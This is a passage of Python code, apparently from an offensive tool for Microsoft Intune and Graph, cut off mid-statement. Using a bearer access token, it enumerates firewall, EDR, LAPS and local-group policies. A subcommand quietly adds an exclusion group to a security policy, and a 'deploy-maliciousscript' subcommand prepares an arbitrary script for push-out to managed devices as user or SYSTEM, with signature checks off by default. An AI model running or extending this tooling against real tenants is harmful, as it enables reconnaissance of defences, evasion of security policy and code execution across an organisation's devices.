"vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { - "displayName": "Enable Private Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Private Profile", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { - "displayName": "Disable Unicast Responses To Multicast Broadcast", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", - "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { - "displayName": "Global Ports Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { - "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_shielded": { - "displayName": "Shielded", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", - "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { - "displayName": "Allow Local Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { - "displayName": "Default Outbound Action", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", - "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { - "displayName": "Enable Log Ignored Rules", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { - "displayName": "Disable Inbound Notifications", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", - "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { - "displayName": "Enable Log Success Connections", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { - "displayName": "Allow Local Ipsec Policy Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { - "displayName": "Auth Apps Allow User Pref Merge", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", - "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { - "displayName": "Log File Path", - "options": {} - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { - "displayName": "Enable Public Network Firewall", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", - "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { - "displayName": "Log Max File Size", - "options": {} - }, - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { - "displayName": "Enable Log Dropped Packets", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", - "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { - "displayName": "Default Inbound Action for Public Profile", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", - "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", - } - }, - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { - "displayName": "Disable Stealth Mode", - "options": { - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", - "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", - } - }, - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { - "displayName": "Object Access Audit Filtering Platform Connection", - "options": { - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", - } - }, - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { - "displayName": "Object Access Audit Filtering Platform Packet Drop", - "options": { - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", - "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", - } - }, - } - - def process_setting(setting, indent=""): - setting_instance = setting.get('settingInstance', {}) - setting_id = setting_instance.get('settingDefinitionId', '') - - if setting_id in settings_map: - display_name = settings_map[setting_id]['displayName'] - print(f"{indent}{display_name} : ", end="") - else: - print(f"{indent}Setting: {setting_id} : ", end="") - - if '@odata.type' in setting_instance: - setting_type = setting_instance['@odata.type'].split('.')[-1] - - if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': - process_choice_setting(setting_instance, indent) - elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': - process_simple_setting(setting_instance, indent) - elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': - process_choice_collection_setting(setting_instance, indent) - else: - print(f"Unsupported setting type: {setting_type}") - - def process_choice_setting(setting_instance, indent): - choice_value = setting_instance.get('choiceSettingValue', {}) - value = choice_value.get('value', '') - - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map and value in settings_map[setting_id]['options']: - print(f"{settings_map[setting_id]['options'][value]}") - else: - print(f"{value}") - - for child in choice_value.get('children', []): - process_setting({'settingInstance': child}, indent + " ") - - def process_simple_setting(setting_instance, indent): - simple_value = setting_instance.get('simpleSettingValue', {}) - value = simple_value.get('value', '') - print(f"{value}") - - def process_choice_collection_setting(setting_instance, indent): - choice_collection = setting_instance.get('choiceSettingCollectionValue', []) - values = [] - for choice in choice_collection: - value = choice.get('value', '') - - setting_id = setting_instance.get('settingDefinitionId', '') - if setting_id in settings_map and value in settings_map[setting_id]['options']: - values.append(settings_map[setting_id]['options'][value]) - else: - values.append(value) - print(", ".join(values)) - - def print_profile_settings(response_json, profile_type): - print(f"\n{profile_type} Profile Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if profile_type.lower() in setting_id.lower(): - process_setting(setting) - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - print("\nGlobal Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if 'global' in setting_id.lower(): - process_setting(setting) - - print("\nAudit Settings") - print("-" * 80) - for setting in response_json.get('value', []): - setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') - if 'audit' in setting_id.lower(): - process_setting(setting) - - print_profile_settings(response_json, "Domain") - print_profile_settings(response_json, "Private") - print_profile_settings(response_json, "Public") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # display-firewallrulepolicyrules - actual firewall rules - elif args.command and args.command.lower() == "display-firewallrulepolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") - return - - print_yellow("\n[*] Display-FirewallRulePolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": - for group in setting['settingInstance'].get('groupSettingCollectionValue', []): - rule_name = "" - rule_action = "" - rule_direction = "" - rule_enabled = "" - rule_local_ports = "" - rule_remote_ports = "" - rule_description = "" - rule_interfaces = [] - - for child in group.get('children', []): - setting_def_id = child['settingDefinitionId'] - if setting_def_id.endswith("_name"): - rule_name = child['simpleSettingValue']['value'] - elif setting_def_id.endswith("_action_type"): - rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" - elif setting_def_id.endswith("_direction"): - rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" - elif setting_def_id.endswith("_enabled"): - rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" - elif setting_def_id.endswith("_localportranges"): - rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) - elif setting_def_id.endswith("_remoteportranges"): - rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) - elif setting_def_id.endswith("_description"): - rule_description = child['simpleSettingValue']['value'] - elif setting_def_id.endswith("_interfacetypes"): - rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] - - rule_interfaces = ", ".join(rule_interfaces) - - print(f"Rule Name : {rule_name}") - print(f"Action : {rule_action}") - print(f"Direction : {rule_direction}") - print(f"Enabled : {rule_enabled}") - print(f"Local Ports : {rule_local_ports}") - print(f"Remote Ports : {rule_remote_ports}") - print(f"Description : {rule_description}") - print(f"Interfaces : {rule_interfaces}") - print() - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-edrpolicyrules - elif args.command and args.command.lower() == "display-edrpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") - return - - print_yellow("\n[*] Display-EDRPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", - "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: - value_field = setting['settingInstance']['choiceSettingValue'].get('value') - if value_field: - cleaned_value = value_field.rstrip('_01onboard') - if cleaned_value in settings_map: - setting_text = settings_map[cleaned_value] - if value_field.endswith('_1'): - print(f"ENABLED : {setting_text}") - elif value_field.endswith('_0'): - print(f"DISABLED : {setting_text}") - elif value_field.endswith('_onboard'): - print(f"ONBOARD : {setting_text}") - else: - print(f"{setting_text} - {value_field}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-lapsaccountprotectionpolicyrules - elif args.command and args.command.lower() == "display-lapsaccountprotectionpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") - return - - print_yellow("\n[*] Display-LAPSAccountProtectionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", - "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", - "device_vendor_msft_laps_policies_backupdirectory": { - "description": "Backup Directory", - "values": { - "0": "Disabled (password will not be backed up)", - "1": "Backup the password to Azure AD only", - "2": "Backup the password to Active Directory only" - } - }, - "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", - "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", - "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { - "description": "Password Expiration Protection", - "values": { - "0": "Password Expiration Protection Disabled", - "1": "Password Expiration Protection Enabled" - } - }, - "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { - "description": "AD Password Encryption", - "values": { - "0": "AD Password Encryption Disabled", - "1": "AD Password Encryption Enabled" - } - }, - "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", - "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", - "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", - "device_vendor_msft_laps_policies_passwordcomplexity": { - "description": "Password Complexity", - "values": { - "1": "Large letters", - "2": "Large letters + small letters", - "3": "Large letters + small letters + numbers", - "4": "Large letters + small letters + numbers + special characters", - "5": "Large letters + small letters + numbers + special characters (improved readability)" - } - }, - "device_vendor_msft_laps_policies_passwordlength": "Password Length", - "device_vendor_msft_laps_policies_postauthenticationactions": { - "description": "Post Authentication Actions", - "values": { - "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", - "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", - "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." - } - }, - "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - for setting in response_json.get('value', []): - setting_instance = setting.get('settingInstance') - setting_def_id = setting_instance.get('settingDefinitionId') - if setting_instance and setting_def_id: - if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": - choice_value = setting_instance.get('choiceSettingValue', {}).get('value') - if choice_value and setting_def_id in settings_map: - setting_text = settings_map[setting_def_id] - if isinstance(setting_text, dict): - setting_description = setting_text.get('description', setting_def_id) - setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) - print(f"{setting_description}: {setting_value}") - else: - print(f"{setting_text}: {choice_value}") - - children = setting_instance.get('choiceSettingValue', {}).get('children', []) - for child in children: - child_def_id = child.get('settingDefinitionId') - if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": - simple_value = child.get('simpleSettingValue', {}).get('value') - if simple_value and child_def_id in settings_map: - mapped_value = settings_map[child_def_id] - if isinstance(mapped_value, dict): - description = mapped_value.get('description', child_def_id) - value = mapped_value['values'].get(str(simple_value), simple_value) - print(f"{description}: {value}") - else: - print(f"{mapped_value}: {simple_value}") - - elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": - simple_value = setting_instance.get('simpleSettingValue', {}).get('value') - if simple_value and setting_def_id in settings_map: - mapped_value = settings_map[setting_def_id] - if isinstance(mapped_value, dict): - description = mapped_value.get('description', setting_def_id) - value = mapped_value['values'].get(str(simple_value), simple_value) - print(f"{description}: {value}") - else: - print(f"{mapped_value}: {simple_value}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # display-usergroupaccountprotectionpolicyrules - elif args.command and args.command.lower() == "display-usergroupaccountprotectionpolicyrules": - if not args.id: - print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") - return - - print_yellow("\n[*] Display-UserGroupAccountProtectionPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - - if args.select: - api_url += f"?$select={args.select}" - - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': get_user_agent(args) - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - settings = response.json().get('value', []) - - local_groups = [] - for setting in settings: - group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) - for group_setting in group_setting_collection: - children = group_setting.get('children', []) - for child in children: - child_children = child.get('groupSettingCollectionValue', []) - for child_child in child_children: - for item in child_child.get('children', []): - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": - choice_value = item.get('choiceSettingValue', {}).get('value', '') - description = "Users/Groups" if choice_value.endswith("_users") else "Manual" - print(f"User selection type: {description}") - - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": - choice_value = item.get('choiceSettingValue', {}).get('value', '') - action_map = { - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" - } - action = action_map.get(choice_value, choice_value) - print(f"Group and user action: {action}") - - if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": - group_map = { - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", - "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" - } - for choice in item.get('choiceSettingCollectionValue', []): - group = group_map.get(choice.get('value', ''), choice.get('value', '')) - local_groups.append(group) - - if local_groups: - print(f"Local groups: {', '.join(local_groups)}") - - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # get-devicecompliancepolicies - elif args.command and args.command.lower() == "get-devicecompliancepolicies": - print_yellow("\n[*] Get-DeviceCompliancePolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=assignments,scheduledActionsForRule($expand=scheduledActionConfigurations)" - - if args.select: - api_url += "?$select=" + args.select - - try: - output_returned = False - while api_url: - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data and 'value' in filtered_data: - for d in filtered_data.get('value', []): - for key, value in d.items(): - if key == "assignments": - if not value: - print_red("assignments : no assignments") - else: - print_green(f"{key} : {value}") - elif key == "scheduledActionsForRule": - if not value: - print_red("scheduledActionsForRule : no scheduled actions") - else: - print_green(f"{key} : {value}") - else: - print(f"{key} : {value}") - print("\n") - output_returned = True - - api_url = response_body.get("@odata.nextLink") - - if not output_returned: - print_red("[-] No data found") - - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - - print("=" * 80) - - # add-exclusiongrouptopolicy - elif args.command and args.command.lower() == "add-exclusiongrouptopolicy": - if not args.id: - print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") - return - - print_yellow("\n[*] Add-ExclusionGroupToPolicy") - print("=" * 80) - - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" - assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - # get the current assignments so we don't mess up day-to-day ops - response = requests.get(assignments_api_url, headers=headers) - if response.ok: - current_assignments = response.json().get('value', []) - else: - print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") - print_red(response.text) - print("=" * 80) - return - - try: - groupid = input("\nEnter Group ID To Exclude: ").strip() - except KeyboardInterrupt: - sys.exit() - - new_assignments = current_assignments + [ - { - "target": { - "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", - "groupId": groupid - } - } - ] - - body = { - "assignments": new_assignments - } - - response = requests.post(assign_api_url, headers=headers, json=body) - if response.ok: - print_green(f"\n[+] Excluded group added to policy rules") - else: - print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # deploy-maliciousscript - elif args.command and args.command.lower() == "deploy-maliciousscript": - if not args.script: - print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") - return - - print_yellow("\n[*] Deploy-MaliciousScript") - print("=" * 80) - - script_content = read_file_content(args.script) - - try: - display_name = input("\nEnter Script Display Name: ").strip() - description = input("Enter Script Description: ").strip() - runasaccount = input("Run As Account (user/system): ").strip().lower() - sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() - runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() - - if runasaccount not in ['user', 'system']: - print("Invalid input for Run As Account. Defaulting to 'user.") - runasaccount = 'user' - - if sigcheck not in ['true', 'false']: - print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") - sigcheck = 'false' - - if runas32bit not in ['true', 'false']: - print("Invalid input for Run As 64-bit. Defaulting to 'false'.") - runas32bit = 'false' - - except KeyboardInterrupt: - sys.exit() - - user_agent = 